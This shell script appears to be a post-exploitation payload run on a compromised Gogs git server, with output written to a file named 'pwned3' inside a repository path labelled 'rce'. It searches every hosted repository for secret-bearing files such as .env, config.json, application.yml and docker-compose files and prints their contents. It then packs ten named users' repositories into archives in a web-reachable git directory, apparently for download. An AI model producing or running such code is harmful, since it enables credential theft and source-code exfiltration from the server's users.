#!/bin/sh
R=/data/git/gogs-repositories
OUT=/data/gogs/data/tmp/local-r/116/nslxits0yu/rce-lxits0yu.git
{
echo "=== round3 $(date -u) ==="
echo "--- sizes (MB) ---"
du -sm $R/*/*.git 2>/dev/null | sort -n | tail -45
echo "--- config files found ---"
for d in $R/*/*.git; do
  o=$(basename $(dirname $d)); n=$(basename $d .git)
  for f in .env .env.local .env.production .env.development .env.prod .env.example config.js config.json config.yaml config.yml application.yml application.yaml application.properties settings.py docker-compose.yml docker-compose.yaml; do
    if git -C "$d" cat-file -e "HEAD:$f" 2>/dev/null; then
      echo "FOUND $o/$n:$f"
      git -C "$d" show "HEAD:$f" 2>/dev/null | head -c 900 | sed 's/^/    /'
      echo "    ----"
    fi
  done
done
echo "--- archives staged ---"
for d in $R/youzi/nebula.git $R/zoujiajian/nebula.git $R/youzi/web-yinhe.git $R/youzi/admin-yinhe-cps.git $R/youzi/admin-yinhe-vite.git $R/youzi/foxvip-admin.git $R/zoujiajian/tokens-website.git $R/zoujiajian/relay-code-full-stack.git $R/yhlxj/ai-chat-api.git $R/youzi/api-nebula-doc.git; do
  [ -d "$d" ] || continue
  s=$(du -sm "$d" 2>/dev/null | cut -f1)
  n=$(basename $(dirname "$d"))-$(basename "$d" .git)
  if [ "${s:-999}" -lt 60 ]; then
    git -C "$d" archive -o "$OUT/lx3-$n.tar.gz" HEAD 2>/dev/null && ls -la "$OUT/lx3-$n.tar.gz" | awk '{print "ARCHIVED",$NF,$5}' || echo "ARCHIVE-FAIL $n"
  else
    echo "TOO-BIG $n ${s}MB"
  fi
done
echo "=== end3 ==="
} > pwned3 2>&1
